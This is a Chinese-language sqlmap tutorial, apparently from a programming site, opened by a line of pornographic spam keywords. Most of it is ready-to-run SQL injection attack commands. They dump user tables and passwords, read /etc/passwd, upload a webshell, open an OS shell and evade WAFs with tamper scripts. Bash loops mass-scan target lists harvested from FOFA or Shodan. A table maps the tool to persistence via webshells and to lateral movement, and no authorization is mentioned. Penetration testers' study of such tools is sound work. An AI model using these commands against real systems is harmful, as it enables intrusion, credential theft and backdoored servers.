欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

sqlmap 使用教程(從入門到進階)

 更新時間:2025年09月06日 11:09:54   作者:Factor安全  
sqlmap是一款強大的開源 SQL 注入自動化測試工具,支持識別并利用多種類型的 SQL 注入漏洞(Boolean-based、Time-based、Error-based、Stacked Queries 等),本文給大家介紹sqlmap使用教程,感興趣的朋友一起看看吧

超詳細 sqlmap 使用教程(從入門到進階)

sqlmap 是一款強大的開源 SQL 注入自動化測試工具,支持識別并利用多種類型的 SQL 注入漏洞(Boolean-based、Time-based、Error-based、Stacked Queries 等)。它不僅能識別注入,還能實現(xiàn)數(shù)據(jù)庫指紋識別、表結構讀取、數(shù)據(jù)導出、文件讀寫、提權、命令執(zhí)行等。

一、安裝 sqlmap

方式一:源碼安裝(推薦)

git clone https://gitcode.com/sqlmapproject/sqlmap.git //國內鏡像
cd sqlmap
python3 sqlmap.py -h

方式二:APT 安裝(適用于 Kali、Debian)

sudo apt update
sudo apt install sqlmap
sqlmap -h

二、基本命令語法

sqlmap -u "http://target.com/vuln.php?id=1" [options]
  • -u:目標 URL,支持 GET 和 POST 參數(shù)
  • --data:提交 POST 參數(shù)
  • --cookie:提交 Cookie 頭
  • -p:指定注入點參數(shù)
  • --batch:自動確認(用于腳本執(zhí)行時非交互)
  • --random-agent:偽造瀏覽器 UA

三、典型實戰(zhàn)用法大全(按功能分類)

1、基礎測試注入點

1、自動探測 GET 參數(shù)是否存在注入
sqlmap -u "http://site.com/page.php?id=1"
2、測試 POST 請求參數(shù)
sqlmap -u "http://site.com/login.php" --data="username=admin&password=123"
3、帶 Cookie 測試(如登錄后才可注入)
sqlmap -u "http://site.com/protected?id=5" --cookie="PHPSESSID=xxxxxx"
4、指定注入?yún)?shù)(默認會測試所有)
sqlmap -u "http://site.com/page.php?id=1&sort=desc" -p id
5、靜態(tài)請求文件(如 Burp 抓包導出的 .txt)
sqlmap -r request.txt

2、數(shù)據(jù)庫識別與信息收集

1、獲取數(shù)據(jù)庫類型和版本
sqlmap -u "http://target.com/?id=1" --banner
2、獲取當前數(shù)據(jù)庫名
sqlmap -u "http://target.com/?id=1" --current-db
3、獲取當前用戶、權限
sqlmap -u "http://target.com/?id=1" --current-user --is-dba
4、獲取所有數(shù)據(jù)庫名
sqlmap -u "http://target.com/?id=1" --dbs
5、枚舉數(shù)據(jù)庫的表名
sqlmap -u "http://target.com/?id=1" -D testdb --tables
6、枚舉表內字段名
sqlmap -u "http://target.com/?id=1" -D testdb -T users --columns
7、導出數(shù)據(jù)
sqlmap -u "http://target.com/?id=1" -D testdb -T users -C username,password --dump

3、繞過過濾和防護機制

1、偽造 User-Agent / Referer
sqlmap -u "http://target.com/?id=1" --user-agent="Mozilla/5.0" --referer="https://google.com"
2、自定義 HTTP 請求頭
sqlmap -u "http://target.com" --headers="X-API-KEY: 12345\nClient-Version: 1.0"
3、使用隨機 UA 繞過 WAF
sqlmap -u "http://target.com/?id=1" --random-agent
4、使用 tamper 腳本繞過 WAF(如 Cloudflare)
sqlmap -u "http://target.com/?id=1" --tamper=space2comment

推薦組合使用多個:

--tamper=space2comment,charunicodeescape,between

4、特殊注入場景支持

1、支持時間盲注(time-based blind)
sqlmap -u "http://target.com/page.php?id=1" --technique=T
2、支持報錯注入(error-based)
sqlmap -u "http://target.com/page.php?id=1" --technique=E
3、使用堆疊查詢
sqlmap -u "http://target.com/page.php?id=1" --stacked-query

5、文件系統(tǒng)操作(高危)

1、讀取遠程服務器文件(如配置文件)
sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd"
2、上傳寫入 webshell(需要寫權限)
sqlmap -u "http://target.com/page.php?id=1" --file-write=./shell.jsp --file-dest="/var/www/html/shell.jsp"

6、系統(tǒng)命令執(zhí)行(高權限下)

1、執(zhí)行系統(tǒng)命令(如 whoami、ipconfig)
sqlmap -u "http://target.com/page.php?id=1" --os-cmd="whoami"
2、啟動交互式命令行(非常強大)
sqlmap -u "http://target.com/page.php?id=1" --os-shell

注意:必須具備數(shù)據(jù)庫用戶執(zhí)行系統(tǒng)命令的權限(如 xp_cmdshell, load_file, into outfile 等)

7、登錄口爆破測試(少見用法)

如果某參數(shù)中存在注入點,sqlmap 可嘗試暴力登錄:

sqlmap -u "http://target.com/login.php" --data="user=admin&pass=123" -p user --passwords

8、會話保存 / 自動繼續(xù)掃描

1、保存掃描進度
sqlmap -u "http://target.com" --batch --flush-session
2、繼續(xù)之前未完成的任務
sqlmap -u "http://target.com" --resume

9、指定數(shù)據(jù)庫引擎、注入技術

--dbms=mysql           # 強制使用 MySQL
--technique=BEUSTQ     # 指定注入技術

技術說明:

  • B:布爾盲注
  • E:報錯注入
  • U:聯(lián)合查詢
  • S:堆疊語句
  • T:時間盲注
  • Q:inline 查詢

四、輔助技巧與實用建議

場景推薦參數(shù)
多參數(shù)存在注入使用 --level=5 --risk=3
避免頻繁交互--batch
WAF 檢測或屏蔽--random-agent --tamper
響應慢 / 網(wǎng)站卡頓--timeout=10 --retries=3 --delay=1
避免爆炸性數(shù)據(jù)--fresh-queries --exclude-sysdbs

五、實戰(zhàn)案例總結

例 1:自動識別 + 導出所有數(shù)據(jù)

sqlmap -u "http://example.com/vuln?id=1" --batch --dump-all

例 2:POST 登錄接口注入測試

sqlmap -u "http://site.com/login" --data="user=admin&pass=123" --batch

例 3:使用 Burp 抓包測試

sqlmap -r burp_request.txt --batch

例 4:讀取數(shù)據(jù)庫用戶信息并執(zhí)行 whoami

sqlmap -u "http://target.com/?id=5" --current-user --os-cmd="whoami"

六、總結建議

建議理由
使用 --batch 做自動測試減少交互操作,提高效率
指定 -p 參數(shù)避免浪費時間在無關參數(shù)
學會使用 -r 靜態(tài)請求文件更適合測試復雜 POST、Cookie 請求
配合 Burp + sqlmap 使用手動確認參數(shù)后自動化測試更高效
測試環(huán)境先用 --risk=1 --level=1線上目標避免影響服務
禁用系統(tǒng)功能或告警--os-shell 等需謹慎使用

?? 七、sqlmap 高級技巧 & 實戰(zhàn)應用拓展

1. 自動化批量測試多個目標

如果你有一個大量 URL 的列表,比如從 Google/Burp/爬蟲中導出的可疑鏈接:

方法一:使用--batch+--crawl+ Bash 腳本

cat urls.txt | while read url; do
  sqlmap -u "$url" --batch --crawl=2 --threads=5
done

方法二:配合目標資產平臺輸出(如 FOFA、Quake、Shodan)

結合搜索引擎導出資產后:

for u in $(cat fofa_urls.txt); do
  sqlmap -u "$u?search=1" --random-agent --batch --level=3 --risk=2
done

2. 常用組合參數(shù)模板(實戰(zhàn)推薦)

場景推薦組合參數(shù)
公開測試平臺 / 漏掃--random-agent --batch --threads=5
內網(wǎng)實戰(zhàn)探測(不打擾目標)--level=1 --risk=1 --technique=B --time-sec=5 --delay=1
目標用 POST 登錄--data="user=admin&pass=123"
Cookie 有效期短--cookie="JSESSIONID=xxxxxx"
遇到 CDN 防護--tamper=between,space2comment
目標只允許 HEAD 請求--method=HEAD
深入盲注場景--technique=T --time-sec=10

3. 常見 Tamper 繞過腳本說明

sqlmap 支持用 --tamper 參數(shù)指定腳本,在發(fā)送請求前修改 Payload(用于繞過 WAF):

腳本名功能說明
space2comment.py將空格替換為 /**/ 注釋
between.py使用 BETWEEN 替代等號
charunicodeescape.py字符轉為 unicode 編碼
equaltolike.py= 替換為 LIKE
randomcase.py字母大小寫混淆
unionalltounion.pyUNION ALL SELECT 改成 UNION SELECT
percentage.py使用 % 編碼關鍵字

? 組合使用示例

sqlmap -u "http://target.com/?id=1" --tamper=space2comment,between,randomcase --random-agent --batch

4. 對抗防火墻與 WAF 策略

1、檢測是否有 WAF

sqlmap -u "http://target.com/?id=1" --identify-waf

如果提示類似:

[!] WAF/IDS/IPS identified: Cloudflare

就說明目標使用了防御系統(tǒng),應切換到:

  • 慢速測試:--delay=1 --timeout=10
  • 編碼繞過:--tamper
  • 限制技術:--technique=B

5. SQL 注入技術選型建議

技術代碼類型特點說明
BBoolean Blind最隱蔽,但慢
TTime-based Blind非回顯場景常用
EError-based快速,依賴數(shù)據(jù)庫錯誤信息
UUnion Query最快,依賴回顯
SStacked Queries可寫文件/執(zhí)行命令
QInline Query針對特定場景如 PostgreSQL
bash復制編輯--technique=BEUSTQ     # 開啟所有類型
--technique=BEU        # 只測回顯類
--technique=T          # 強制盲注

6. sqlmap session 保存與重用

sqlmap 會默認保存掃描歷史到 .sqlmap/output/host/,也支持:

  • --flush-session:清除上次掃描緩存
  • --resume:恢復未完成任務
  • --output-dir=custom/:自定義輸出路徑

7. 利用 sqlmap API 進行自動化任務管理

1、啟動 API 服務端(默認端口 8775)

python3 sqlmapapi.py -s

2、與之交互(Python 代碼 / Postman / curl 調用)

POST /task/new
POST /scan/start
GET  /scan/{id}/log

可搭配 Web UI 或自動化滲透框架集成,例如:

  • Awvs + sqlmap 聯(lián)動
  • 命令行批量漏洞驗證器中調 sqlmap API

8. 輸出數(shù)據(jù)格式控制

參數(shù)功能
--batch省略交互
--forms自動識別表單
--threads=10多線程加速
--output-dir=xxx指定輸出目錄
--crawl=2自動爬取內部頁面 2 層
--fresh-queries不使用緩存
--parse-errors嘗試解析錯誤信息
--save保存參數(shù)為 profile

9. sqlmap 配合滲透測試場景

滲透階段sqlmap 使用點
信息收集自動識別數(shù)據(jù)庫、DBA 用戶、DB 類型
權限提升利用堆疊查詢執(zhí)行文件寫入、提權腳本
持久化控制寫入 Webshell,執(zhí)行后門
lateral movement獲取數(shù)據(jù)庫中的 VPN 賬號、內網(wǎng) IP、后臺密碼等

10. 學習路徑建議(由淺入深)

  1. ? 掌握基本注入點掃描(--dbs --tables --dump
  2. ? 理解 6 大注入技術(BEUSTQ)
  3. ? 學會繞過 WAF(tamper 編寫與選擇)
  4. ? 學會構造 request.txt / Cookie / Header 注入
  5. ? 腳本化調用 sqlmap 自動打點
  6. ? 分析源碼、寫 tamper、定制注入 payload

附:推薦資源

類型鏈接
官網(wǎng)https://sqlmap.org
GitHubhttps://gitcode.com/sqlmapproject/sqlmap
API 文檔https://gitcode.com/sqlmapproject/sqlmap/wiki/Usage
Tamper 腳本文檔https://gitcode.com/sqlmapproject/sqlmap/tree/master/tamper
sqlmap API 工具封裝sqlmapapi-client

? 總結一句話:

sqlmap 不只是一個掃描工具,它是一臺自動化的數(shù)據(jù)庫信息提取武器庫,只要你掌握參數(shù),就能完成注入探測、提權、文件操作等一整套攻擊鏈。

到此這篇關于sqlmap 使用教程(從入門到進階)的文章就介紹到這了,更多相關sqlmap 使用內容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關文章希望大家以后多多支持腳本之家!

相關文章

  • 詳解SpringBoot配置devtools實現(xiàn)熱部署

    詳解SpringBoot配置devtools實現(xiàn)熱部署

    本篇文章主要介紹了詳解SpringBoot配置devtools實現(xiàn)熱部署 ,小編覺得挺不錯的,現(xiàn)在分享給大家,也給大家做個參考。一起跟隨小編過來看看吧
    2017-05-05
  • Spring中@Value使用詳解及SPEL表達式

    Spring中@Value使用詳解及SPEL表達式

    這篇文章主要介紹了Spring中@Value使用詳解及SPEL表達式,具有很好的參考價值,希望對大家有所幫助,如有錯誤或未考慮完全的地方,望不吝賜教
    2023-09-09
  • spring單例如何改多例

    spring單例如何改多例

    這篇文章主要介紹了spring單例如何改多例,具有很好的參考價值,希望對大家有所幫助。如有錯誤或未考慮完全的地方,望不吝賜教
    2022-01-01
  • 詳解spring-data-jpa中jpql的投影查詢

    詳解spring-data-jpa中jpql的投影查詢

    投影查詢,就是僅僅檢索表的部分字段。而不是粗暴的 SELECT * FROM...檢索出所有列數(shù)據(jù),這篇文章主要介紹了spring-data-jpa中jpql的投影查詢,需要的朋友可以參考下
    2021-09-09
  • Java spring AOP基礎

    Java spring AOP基礎

    本篇文章主要介紹了深入理解spring的AOP機制基礎原理,小編覺得挺不錯的,現(xiàn)在分享給大家,也給大家做個參考。一起跟隨小編過來看看吧
    2021-11-11
  • 教你怎么用Idea打包jar包

    教你怎么用Idea打包jar包

    這篇文章主要介紹了教你怎么用Idea打包jar包,文中有非常詳細的代碼示例,對剛開始使用IDEA的小伙伴們很有幫助喲,需要的朋友可以參考下
    2021-05-05
  • Java面試題目集錦

    Java面試題目集錦

    本文是小編日常收集整理的java面試題目,非常不錯,具有參考借鑒價值,需要的朋友可以參考下
    2016-09-09
  • Java必踩的坑之方法中形參、實參傳遞

    Java必踩的坑之方法中形參、實參傳遞

    這篇文章主要給大家介紹了關于Java必踩的坑之方法中形參、實參傳遞的相關資料,以及Java 形參和實參的區(qū)別,文中通過示例代碼介紹的非常詳細,需要的朋友可以參考下
    2022-03-03
  • 在idea中顯示springboot面板的方法

    在idea中顯示springboot面板的方法

    這篇文章主要介紹了在idea中顯示springboot面板的方法方便啟動調試,本文通過代碼給大家介紹的非常詳細,對大家的學習或工作具有一定的參考借鑒價值,需要的朋友可以參考下
    2020-11-11
  • SpringBoot防止大量請求攻擊的實現(xiàn)

    SpringBoot防止大量請求攻擊的實現(xiàn)

    在有些特定的時候需要加上IP訪問時間限制,防止一個IP多次訪問請求,本文主要介紹了SpringBoot防止大量請求攻擊的實現(xiàn),感興趣的可以了解一下
    2021-11-11

最新評論